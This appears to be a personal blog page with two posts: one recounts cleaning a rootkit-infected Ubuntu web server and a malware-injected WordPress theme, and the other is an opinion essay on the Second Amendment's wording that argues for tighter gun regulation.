I got to work.  I took TomServo offline by unplugging the ethernet cable.  There, take that, hackers!  Next I hooked up a keyboard and monitor and tried to see what was going on.  I ran a utility I had previously installed that checks for rootkits.  A rootkit is a program that takes over your computer and then hides itself so that it is very hard to detect.  An example of how it hides itself would be to substitute its own ls (which lists files and directories) for the original ls program.  The new ls would act exactly like the old, but wouldn’t ever list programs that were part of the rootkit.  Well I ran chkrootkit and, lo and behold, it found that my server was infected with the SUCKIT rootkit.

How to get rid of a rootkit?  Unfortunately the only sure way is to erase the hard drive and reinstall the operating system.  Fortunately my WordPress blog (and the entire site) was backed up by a WordPress service named VaultPress, so my data was secure.  Taking a deep breath, I crossed the Rubicon.  I erased the drive and reinstalled Ubuntu Server 12.10 from a CD.

I went back online.  I then download WordPress and installed it.  There was a bunch of tweaking that needed to be redone, and, unfortunately, I had forgotten a lot of stuff, like how to set up my mail server.  After fumbling around I seemed to have everything working, including a new, fresh, blank WordPress installation.

Now to restore a backup from VaultPress.  I tried to do it automatically.  It didn’t work.  I ended up downloading the files manually and copying them into the proper folders.  Worked!  I had a running version of my web site that was indistinguishable from the old.

I thought I was done.  I went to the Google Web Tools site, declared “This house is clean!” and hoped they would quickly review my site and un-blacklist it.  I went to bed that night hoping the crisis had passed.

The next day I was still getting the red screen of shame when I accessed my site.  I checked the Google Web Tools.  They had rechecked my site, and it was still infected!

I reran the chkrootkit program.  Everything was clean.  Maybe Google was full of it.  Everything was new on the server, and I had changed all the passwords.  Well, not everything was new.

I realized the backup copy of the blog itself might be infected.  I logged into the administration page and searched for some plugins that could detect malware on a WordPress site.  I downloaded one and ran it.  Bingo!  Some files residing in the theme directory of WordPress contained some JavaScript that shouldn’t have been there.  I copied these files over using the fresh version of WordPress I had downloaded the day before.  I reran the malware detector.  Everything was clean!

I appealed again to Google to recheck my site.  Within a few hours, the site was declared clean by Google.  The red page was gone.  I’m not sure how long it will be before my site’s pages will show up on the Google search engine without the malware warnings appended to them.

Breathing a sigh of relief, I went on to finish my upgrading of EP Mobile for both the Android and Apple versions.  I am now much more paranoid about the possibility of exploitation of my web site, and will keep a closer eye on it.  This was not a pleasant experience for me.

Amendments Don’t Kill People…

18th vs 21st Century guns

18th vs 21st Century guns

It’s a good of example of the problems that unclear writing can cause.  Can we blame the deaths of kindergarten kids on poor sentence structure?  This short bit of 18th century English prose, the Second Amendment to the United States Constitution, at least has the virtue of terseness if not clarity:

A well regulated Militia, being necessary to the security of a free State, the right of the people to keep and bear Arms, shall not be infringed.

Is it talking about the rights of states to form militias, or the rights of individuals to possess firearms, or both?  It is the second of the ten amendments collectively known as the Bill of Rights.  It comes right after the linchpin of our rights to freedom of speech and  religion (though maybe you could have clarified the religion thing a little bit more, founding fathers), the First Amendment.  I’m not sure the amendments are listed strictly in order of importance though, as the next amendment (the Third, for those of you not keeping track) contains the rather ho-hum right to be protected from the quartering of troops in your house without your consent.  Surely the next several amendments — protection from unreasonable search and seizure (except at airports, I guess), due process, trial by jury, and protection from cruel and unusual punishment — seem a little more important than not being asked to provide Bed and Breakfast to soldiers.  So how important is this Second Amendment?  Is it on the level of the First Amendment — absolutely fundamental?  Or sort of quaint and outdated like the Third?

The Second Amendment looks like the remnant of what might have been a clearer original statement that was mauled over by a committee.  The original version of the Bill of Rights was written by the main drafter of the Constitution, James Madison, and contains this somewhat longer exposition of what was to become amendment #2:

The right of the people to keep and bear arms shall not be infringed; a well armed, and well regulated militia being the best security of a free country: but no person religiously scrupulous of bearing arms, shall be compelled to render military service in person.

This, written at the end of the 18th century, after the works of Alexander Pope and Johnathan Swift, but before the novels of Jane Austin, has all the stylistic elements of the period, such as multiple clauses linked with semi-colons and colons, and the comma separating subject and verb.  Nevertheless it does seem a bit clearer than the final result.  The order of the initial two clauses is reversed in this original version, making it clear that right to bear arms is the main point, with the militia reference being a example of why the right is important (he also throws in the religious exemption to military service, which didn’t make it into the final draft).  In the final version of the Second Amendment, one gets the impression that the “well regulated Militia” is the main point of the amendment, and the “right of the people to keep and bear Arms” is in reference to forming “well regulated” militias, not to be a one-man army.  But I have to admit that, despite the confusing wording, it does appear that the founding fathers thought it was a good thing for average people to own firearms, and did not want the government to infringe on that right.

So, does my having to remove my shoes and get subjected to a see-through-your-clothes body scanner at the airport infringe on my Fourth Amendment right against unreasonable search and seizure?  Yes it does.  Do sexual harassment laws that prohibit telling off-color jokes in the office conflict with the First Amendment right that “Congress shall make no law [...] abridging the freedom of speech?”  Yes again.  In the Bill of Rights all the rights are stated as absolutes, in the style of the Ten Commandments, yet all have been subject to regulation.  At the time of writing, the most advanced individual firearm was the musket, which took a long time to reload between each firing.  Now we have automatic and semi-automatic rifles that can fire off hundreds of rounds in minutes.  These kinds of weapons are not simple tools for self defence.  These weapons are a public health issue (as the long string of gun-related massacres occurring even just this year bear out) and the government does have some interest in regulating the public health.  Even the staunchest gun possession advocate (I hope) draws the line somewhere, whether at automatic weapons, bazookas, or personal tactical nuclear weapons.  I think in the wake of unspeakable tragedy, we should draw the line in a little tighter, at least reinstating the ban on semi-automatic weapons.  Really correcting our gun violence problem would take a major shift in how we think of ourselves as a people; a shift that goes against the grain for many of us.  We still like to think of ourselves anachronistically as living in the “Wild West” of the old cowboy movies, where it was necessary for “good people” to “take the law in their own hands.”  This romanticized version of history, if it was ever true, seems fairly out of touch with the reality of modern life.  Or there are the folks that think the government is out to get them, and only their stockpile of weapons stands between them and government tyranny.  This is the wacko “Waco” mentality that somehow your stash of guns puts you on an even keel with the entire might of the US government.  Yes we can arm the kindergarten teachers and the movie theater attendees, and maybe things would have been different, but on the whole statistics do seem to bear out that the more guns there are around the more gun deaths occur.  Since the Second Amendment doesn’t seem to be going away any time soon, I am hoping that, as the body count of innocent victims to mass shootings continues to rise over the years, people will realize that just because you have the right to own a gun doesn’t necessarily mean that you should own one.